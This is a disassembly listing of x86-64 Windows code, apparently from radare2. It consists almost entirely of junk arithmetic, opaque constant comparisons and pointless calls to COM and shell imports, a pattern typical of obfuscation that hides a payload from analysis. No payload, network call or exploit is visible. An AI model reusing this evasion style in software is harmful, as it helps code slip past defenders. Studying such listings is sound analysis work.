mov byte [rsp + 0xbf], 0x24
mov byte [rsp + 0xc0], SHDoDragDrop
movabs rax, 0x8aa6aa9e6425cf2b
mov qword [rsp + 0x3268], rax
mov byte [rsp + 0xc1], 0xc8
mov byte [rsp + 0xc2], 0xe9
mov eax, 0x13a
mov word [rsp + 0x794], ax
mov byte [rsp + 0xc3], 0x32
mov dword [rsp + 0x1a4c], 0xaf6c5f
movabs rax, 0xc20ea819d2483a1f
mov qword [rsp + 0x3270], rax
mov byte [rsp + 0xc4], 0x26
mov eax, 0x44b7
mov word [rsp + 0x798], ax
mov byte [rsp + 0xc5], 0x24
mov eax, 0x447
mov word [rsp + 0x79c], ax
movabs rax, 0x16a8c2b2e4751ad8
mov qword [rsp + 0x3278], rax
movabs rax, 0x3b827f05789b9202
mov qword [rsp + 0x3280], rax
mov dword [rsp + 0x1a50], 0xe9476ac5
mov byte [rsp + 0xc6], 0x36
movabs rax, 0x44023e7b004f610f
mov qword [rsp + 0x3288], rax
mov eax, 0x71c
mov word [rsp + 0x7a0], ax
mov byte [rsp + 0xc7], 0xc4
mov dword [rsp + 0x1a54], 0xbdc42e15
mov byte [rsp + 0xc8], ILFree
mov dword [rsp + 0x1a58], 0xc075
movzx eax, word [rsp + 0x770]
add eax, 0x1bb
mov word [rsp + 0x770], ax
mov dword [rsp + 0x1a5c], 0x539c
mov dword [rsp + 0x1a60], 0x641b
mov eax, dword [section..data]
sub eax, 0x4e408509
mov dword [section..data], eax
mov dword [rsp + 0x1a64], 0x107f2
mov dword [rsp + 0x1a68], 0x9b84
movzx eax, byte [rsp + 0xc8]
cmp eax, 0x6c
jg 0x140002a7f
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x1a6c], al
cmp byte [rsp + 0x1a6c], 0xb
je 0x140002a4c
jmp 0x140002a63
mov edx, 0xfd
mov ecx, 0x32
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x1a70], eax
mov r8d, dword [section..data]
mov dx, 0x19
mov ecx, dword [section..data]
call fcn.1400d8af0
nop
jmp 0x1400d8a8a
movzx eax, word [rsp + 0x770]
cmp eax, 0x6bb
jge 0x140002afd
movzx eax, byte [rsp + 0xc8]
sar eax, 6
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
mov dword [rsp + 0x1a74], eax
cmp dword [rsp + 0x1a74], 0x2fc
je 0x140002abe
jmp 0x140002acd
mov edx, reloc.SHELL32.dll_SHSetInstanceExplorer
mov cl, 0xa2
call fcn.1400d9280
nop
jmp 0x140002afd
call qword [sym.imp.ole32.dll_CoImpersonateClient]
mov dword [rsp + 0x1a78], eax
movzx eax, byte [rsp + 0xc8]
shl eax, 2
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
xor eax, 0x739de16f
mov dword [section..data], eax
mov dword [rsp + 0x1a7c], 0xfd65
mov dword [rsp + 0x1a80], 0x451b
cmp dword [rsp + 0x1a5c], 0x512f
jbe 0x140002e33
movzx eax, word [rsp + 0x770]
or eax, 0x5be
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
sub eax, 0x52
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0x45
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
and eax, 0x448f37c1
mov dword [section..data], eax
movzx eax, word [rsp + 0x770]
sub eax, 0x7b8
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
add eax, 0x8a
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
sub eax, 0x242
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
add eax, 0xa8
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
xor eax, 0xe5
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sar eax, 7
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
shl eax, 1
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
or eax, 0xfe
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
and eax, 0xdb
mov byte [rsp + 0xc8], al
mov eax, dword [rsp + 0x1a5c]
sub eax, 9
mov dword [rsp + 0x1a5c], eax
movzx eax, word [rsp + 0x770]
sub eax, 0x7bb
mov word [rsp + 0x770], ax
movzx eax, word [rsp + 0x770]
add eax, 0x68d
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
add eax, 0x3a
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0x60
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
and eax, 0x3ce
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
sub eax, 0x20
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
add eax, 0x8d3a7166
mov dword [section..data], eax
movzx eax, byte [rsp + 0xc8]
add eax, 0x7d
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0x78
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
xor eax, 0x11
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sar eax, 2
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
or eax, 0xba5
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
shl eax, 3
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
and eax, 0x6e6
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
add eax, 0x7f
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
sub eax, 0x7a997042
mov dword [section..data], eax
movzx eax, word [rsp + 0x770]
add eax, 0xb0
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
sub eax, 0xa3
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
sub eax, 0xc2d
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
and eax, 6
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0x1e
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0xfc
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0xbf
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
or eax, 0x12
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sar eax, 7
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
shl eax, 0x12
mov dword [section..data], eax
movzx eax, byte [rsp + 0xc8]
xor eax, 0x8b
mov byte [rsp + 0xc8], al
jmp 0x140002b13
cmp dword [rsp + 0x1a60], 0x7bd3
je 0x140003020
mov eax, dword [section..data]
and eax, 0xd3e3dad7
mov dword [section..data], eax
movzx eax, byte [rsp + 0xc8]
sub eax, 0xb3
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0x17
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
sub eax, 0x53c
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
add eax, 0x86
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0xd7
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0xfb
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
and eax, 0x6b
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0x4e
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
or eax, 0xef
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
shl eax, 1
mov dword [section..data], eax
movzx eax, byte [rsp + 0xc8]
sar eax, 4
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
xor eax, 0xb4e
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
sub eax, 0x7c
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
and eax, 0x16
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0xed
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 8
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0xef
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0xe6
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
add eax, 0x7f2
mov word [rsp + 0x770], ax
mov eax, dword [rsp + 0x1a60]
add eax, 0x5c
mov dword [rsp + 0x1a60], eax
movzx eax, byte [rsp + 0xc8]
sub eax, 0x33
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0x36
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
and eax, 0xf8
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
shl eax, 6
mov byte [rsp + 0xc8], al
jmp 0x140002e33
cmp dword [rsp + 0x1a80], 0x12cb
jbe 0x140003130
mov eax, dword [rsp + 0x1a80]
sub eax, 0x8c
mov dword [rsp + 0x1a80], eax
movzx eax, byte [rsp + 0xc8]
xor eax, 0xa4
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
or eax, 4
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
sar eax, 0xa
mov word [rsp + 0x770], ax
movzx eax, word [rsp + 0x770]
add eax, 0x877
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
add eax, 0x63
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
and eax, 0xe6
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0xf8
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0xdf
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0x8d
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0x53
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0xfa
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
sub eax, 0x3c30178b
mov dword [section..data], eax
jmp 0x140003020
movabs rax, 0xd2282584c7208ee4
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x3290]
mov qword [rsp + 0x3298], rax
movabs rax, 0xd17383304b0f726a
cmp qword [rsp + 0x3298], rax
je 0x1400d8a26
movabs rax, 0xd2282584c7208ee4
cmp qword [rsp + 0x3298], rax
je 0x140003183
jmp 0x1400d8a57
movzx eax, byte [rsp + 0xc8]
sub eax, 0x69
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
sar eax, 8
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
xor eax, 2
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
or eax, 0x163
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
shl eax, 2
mov byte [rsp + 0xc8], al
movabs rax, 0x3e460bfe811e1120
mov rcx, qword [rsp + 0x3290]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3290], rax
movzx eax, byte [rsp + 0xc8]
add eax, 0x87
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0x6d
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
and eax, 0x59
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0xf2
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
add eax, 0x116
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
sub eax, 0x3e
mov byte [rsp + 0xc8], al
movabs rax, 0x5ba8474dcd96f596
mov rcx, qword [rsp + 0x3290]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3290], rax
movabs rax, 0xaf6095ec9b901bb5
mov rcx, qword [rsp + 0x3290]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3290], rax
movzx eax, byte [rsp + 0xc8]
sar eax, 4
mov byte [rsp + 0xc8], al
mov eax, dword [rsp + 0x1a68]
add eax, 0x7b
mov dword [rsp + 0x1a68], eax
movzx eax, word [rsp + 0x770]
xor eax, 0x920
mov word [rsp + 0x770], ax
mov eax, dword [section..data]
shl eax, 0xb
mov dword [section..data], eax
movzx eax, word [rsp + 0x770]
or eax, 0x41a
mov word [rsp + 0x770], ax
cmp dword [rsp + 0x1a68], 0xa2b9
jne 0x140003183
mov eax, dword [section..data]
mov dword [rsp + 0x1a84], eax
mov dword [rsp + 0x1a88], 0x6de5
cmp dword [rsp + 0x1a58], 0xff15
jae 0x14000350d
movzx eax, byte [rsp + 0xc8]
and eax, 0xab
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
add eax, 0x92e23873
mov dword [rsp + 0x1a84], eax
movabs rax, 0x391f96c7a40b8a
mov rcx, qword [rsp + 0x3290]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3290], rax
movzx eax, byte [rsp + 0xc8]
add eax, 0x7c
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0x8c
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
and eax, 0x78
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
add eax, 0xcf5b04ba
mov dword [rsp + 0x1a84], eax
mov eax, dword [rsp + 0x1a84]
sub eax, 0xcd5632da
mov dword [section..data], eax
movzx eax, byte [rsp + 0xc8]
sub eax, 0xc8
mov byte [rsp + 0xc8], al
mov eax, dword [section..data]
add eax, 0x2a5ce001
mov dword [rsp + 0x1a84], eax
movzx eax, word [rsp + 0x770]
xor eax, 0xb68
mov word [rsp + 0x770], ax
mov eax, dword [rsp + 0x1a84]
or eax, 0x7aa4cdf9
mov dword [section..data], eax
mov eax, dword [rsp + 0x1a58]
add eax, 0xa7
mov dword [rsp + 0x1a58], eax
mov rax, qword [rsp + 0x3290]
shl rax, 0x18
mov qword [rsp + 0x3290], rax
movzx eax, byte [rsp + 0xc8]
sar eax, 1
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
and eax, 0x84
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0x69
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
sub eax, 0xa8a
mov word [rsp + 0x770], ax
mov eax, dword [section..data]
add eax, 0x7957b9f5
mov dword [rsp + 0x1a84], eax
movzx eax, byte [rsp + 0xc8]
sub eax, 0x31
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
add eax, 0xdd
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
and eax, 0x6a
mov byte [rsp + 0xc8], al
movzx eax, byte [rsp + 0xc8]
sub eax, 0x7a
mov byte [rsp + 0xc8], al
jmp 0x140003339
movzx eax, word [rsp + 0x770]
mov dword [rsp + 0x1a8c], eax
cmp dword [rsp + 0x1a8c], 0x5ca
je 0x14000352b
jmp 0x140003590
movzx r8d, word [rsp + 0x770]
movzx edx, word [rsp + 0x770]
movzx ecx, byte [rsp + 0xc8]
call fcn.1400d9880
nop
mov eax, dword [rsp + 0x1a84]
add eax, 0x29e9ea79
cmp eax, dword [section..data]
je 0x140003573
movzx eax, word [rsp + 0x770]
sub eax, 0x29d
mov word [rsp + 0x770], ax
mov r8d, dword [rsp + 0x1a84]
mov dx, 0xcb
mov ecx, dword [section..data]
call fcn.1400d8af0
nop
jmp 0x140003675
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x32a0], rax
mov dword [rsp + 0x1a90], 0x3db7
mov eax, dword [rsp + 0x1a84]
mov dword [rsp + 0x1a94], eax
cmp dword [rsp + 0x1a94], 0x670d7b3d
je 0x1400035c8
jmp 0x140003622
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
or eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0xc8]
call qword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [rsp + 0x1a70], eax
mov r8d, dword [rsp + 0x1a84]
mov dx, 0xdb
mov ecx, dword [rsp + 0x1a84]
call fcn.1400d8af0
nop
jmp 0x140003675
movabs rax, 0x676e625dd6eae4e
mov qword [rsp + 0x32a8], rax
mov dword [rsp + 0x1a98], 0x24529897
mov dword [rsp + 0x1a9c], 0x1f61
mov dword [rsp + 0x1aa0], 0x1ff0
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x32b0], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x32b8], rax
mov rax, qword [rsp + 0x32b0]
mov rax, qword [rax]
mov qword [rsp + 0x32c0], rax
movabs rax, 0xd3036a6bc5609cb1
cmp qword [rsp + 0x32c0], rax
je 0x14000369e
jmp 0x140003702
movzx eax, word [rsp + 0x770]
xor eax, 0xfb5
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x32b0]
mov qword [rsp + 0x32c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x32c8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov r8d, dword [rsp + 0x1a84]
mov dx, 0xcf
mov ecx, dword [rsp + 0x1a84]
call fcn.1400d8af0
nop
jmp 0x140003771
lea rax, [rsp + 0x3290]
mov qword [rsp + 0x32d0], rax
lea rax, [rsp + 0x32a8]
mov qword [rsp + 0x32d8], rax
mov dword [rsp + 0x1aa4], 0x8e38
mov eax, dword [rsp + 0x1a98]
mov dword [rsp + 0x1aa8], eax
mov dword [rsp + 0x1aac], 0xfca6
lea rax, [rsp + 0x1a84]
mov qword [rsp + 0x32e0], rax
lea rax, [rsp + 0x770]
mov qword [rsp + 0x32e8], rax
mov dword [rsp + 0x1ab0], 0x517a
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x770]
add eax, 0x18e
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1a84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1a84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d8]
movabs rcx, 0xca15853d939b3e7
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x32a8], rax
movzx eax, word [rsp + 0x770]
sub eax, 0xcf4
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
sub eax, 0x42
mov word [rsp + 0x770], ax
mov eax, dword [rsp + 0x1a98]
xor eax, 0x69cb7910
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32b0]
mov qword [rsp + 0x32f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x32f0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x1a84]
shl eax, cl
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1aa8]
add eax, 0x5f409ae1
mov dword [rsp + 0x1a98], eax
movabs rax, 0x64dc5521ed966882
mov rcx, qword [rsp + 0x32a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x770]
add eax, 0xb0d
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1aa8]
and eax, 0x6c9a8526
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
sar rax, 0x1f
mov qword [rsp + 0x32a8], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x1a84]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x770]
shl eax, 6
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x32d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3290], rax
movabs rax, 0x3440f0597b92785b
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1a84], eax
movabs rax, 0xd596c64d7b88847
mov rcx, qword [rsp + 0x32a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [rsp + 0x1a84]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
add eax, 0xf77
mov word [rsp + 0x770], ax
mov eax, dword [rsp + 0x1a7c]
add eax, 0xb0
mov dword [rsp + 0x1a7c], eax
mov rax, qword [rsp + 0x32b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3290]
shr rax, cl
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e0]
mov ecx, dword [section..data]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1aa8]
shl eax, 0x12
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x32d8]
movabs rcx, 0x688257834f75287b
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
add eax, 0xb29
mov word [rsp + 0x770], ax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0x770]
add eax, 0xedb
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
cmp dword [rsp + 0x1a7c], 0x11c55
jne 0x140003771
mov eax, dword [rsp + 0x1aa8]
mov dword [0x1400f3f10], eax
lea rax, [rsp + 0x1a84]
mov qword [rsp + 0x32f8], rax
mov dword [rsp + 0x1ab4], 0xc1ee
lea rax, [rsp + 0x32a8]
mov qword [rsp + 0x3300], rax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x32d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3290], rax
mov eax, dword [0x1400f3f10]
mov ecx, dword [rsp + 0x1aa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x32a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x32a8]
sar rax, cl
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov eax, dword [0x1400f3f10]
mov ecx, dword [rsp + 0x1aa8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
mov eax, dword [rsp + 0x1a98]
movzx ecx, al
mov eax, dword [rsp + 0x1aa8]
shl eax, cl
mov dword [0x1400f3f10], eax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
and eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3300]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32d0]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3290], rax
mov eax, dword [rsp + 0x1a64]
sub eax, 0xea
mov dword [rsp + 0x1a64], eax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
sub eax, 0xfc9
mov word [rsp + 0x770], ax
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [section..data]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x32a8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
cmp dword [rsp + 0x1a64], 0xb782
jae 0x140003d39
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov qword [rsp + 0x3308], rax
movabs rax, 0x50af7dd0e2437d6e
cmp qword [rsp + 0x3308], rax
je 0x140003f6f
jmp 0x140003fbe
movzx eax, word [rsp + 0x770]
add eax, 0x890
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
